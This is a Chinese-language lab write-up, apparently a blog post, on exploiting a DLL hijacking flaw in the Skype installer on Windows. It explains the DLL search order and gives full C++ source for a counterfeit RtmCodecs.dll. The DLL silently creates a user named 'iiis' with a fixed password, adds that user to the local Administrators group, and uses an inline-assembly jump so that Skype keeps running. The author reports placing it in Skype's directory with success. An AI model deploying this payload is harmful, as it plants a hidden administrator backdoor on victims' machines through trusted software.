0x1:实验背景
看到国外一篇文章,大致描述如下:
Hi, There are a dll planting vuln in skype installer. This vuln had been reported to Microsoft but they decided not fix this. Here is the vulnerability details: ------ Skype installer in Windows is open to DLL hijacking. Skype looks for a specific DLL by dynamically going through a set of predefined directories. One of the directory being scanned is the installation directory, and this is exactly what is abused in this vulnerability.
根据描述我们可以知道skype存在dll劫持漏洞,在试验中需要劫持的dll为RtmCodecs.dll,接下来我们开始试验。
0x2: dll劫持原理
由于输入表中只包含DLL名而没有它的路径名,因此加载程序必须在磁盘上搜索DLL文件。首先会尝试从当前程序所在的目录加载DLL,如果没找到,则在Windows系统目录中查找,最后是在环境变量中列出的各个目录下查找。利用这个特点,先伪造一个系统同名的DLL,提供同样的输出表,每个输出函数转向真正的系统DLL。程序调用系统DLL时会先调用当前目录下伪造的DLL,完成相关功能后,再跳到系统DLL同名函数里执行。这个过程用个形象的词来描述就是系统DLL被劫持(hijack)了。
0x3:实验过程
(1) 编写一个劫持指定dll程序原理
1.查看被劫持的DLL的导出函数表。
2.编程实现劫持DLL向原DLL的导出函数的转发,并加入你的“恶意代码”。
(2) 由于文章里给出一个弹出会话框功能的dll,这里我们先看看作者怎么实现的。
从上图可以看出,作者直接在DLL入口执行一个msaageBox函数 弹出对话框。我们也这样实现一个函数添加用户试试,主要代码如下
msi.h
#pragma once
#ifdef DLLEXPORT
#define DLL_INTERFACE __declspec(dllexport)
#else
#define DLL_INTERFACE __declspec(dllimport)
#endif
extern "C"{
DLL_INTERFACE void adduser();
}
msi.cpp
// msi.cpp : 定义 DLL 应用程序的导出函数。
//
#include "stdafx.h"
#define DLLEXPORT
#include "msi.h"
DLL_INTERFACE void adduser()
{
NET_API_STATUS nStatus;
DWORD dwError = 0;
DWORD dwLevel = 1;
USER_INFO_1 ui;
ui.usri1_name = L"iiis"; //用户名
ui.usri1_password = L"password123!@#"; //密码
//ui.usri1_name = argv[1];
//ui.usri1_password = argv[1];
ui.usri1_priv = USER_PRIV_USER; //权限
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT|UF_DONT_EXPIRE_PASSWD|UF_PASSWD_CANT_CHANGE; //登录脚本执行,密码不可更改,密码永不过期
ui.usri1_script_path = NULL;
nStatus = NetUserAdd(
NULL,
dwLevel,
(LPBYTE)&ui,
&dwError
);
if ( nStatus == NERR_Success || nStatus == NERR_UserExists )
{
std::cout << "add user success" << std::endl;
}
else
{
std::cout << "add user failed: " << nStatus << std::endl;
exit(-1);
}
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=ui.usri1_name; //传入用户名
nStatus = NetLocalGroupAddMembers(
NULL,
L"Administrators",
3,
(LPBYTE)&account,
1);
if ( nStatus == NERR_Success )
{
std::cout << "add localgroup success" << std::endl;
}
else
{
std::cout << "add localgroup failed: " << nStatus << std::endl;
exit(-1);
}
__asm JMP EAX; // 初次测试没有这一句
}
编译,放进skpye的phone目录替换RtmCodecs.dll,然后启动skype,如图:
劫持成功,但是skype崩溃掉了,分析一下原因,大概是没有实现劫持DLL向原DLL的导出函数的转发导致的,但是作者也没有这样实现怎么就不崩溃呢,于是反编译了一下skype原RtmCodecs.dll看看导出函数是长啥样的,如下图:
结合IDA里面执行完messageBox函数后的eax清零操作,大概了解,应该在Adduser()执行完毕后对返回进行一下处理,于是在Adduser()函数体末尾添加
__asm JMP EAX;
指令,再编译测试,如下图:
成功劫持并添加用户,skype也没有崩溃。
0x4 后记:
上述就是整个实验过程,当然在劫持指定dll的时候,为了程序能正常使用按照编写一个劫持指定dll程序原理去实现效果最好,在本次试验中,这个过程忽略了。
0x5 参考:
1. http://www.exploitalert.com/view-details.html?id=24885
2. http://www.freebuf.com/articles/78807.html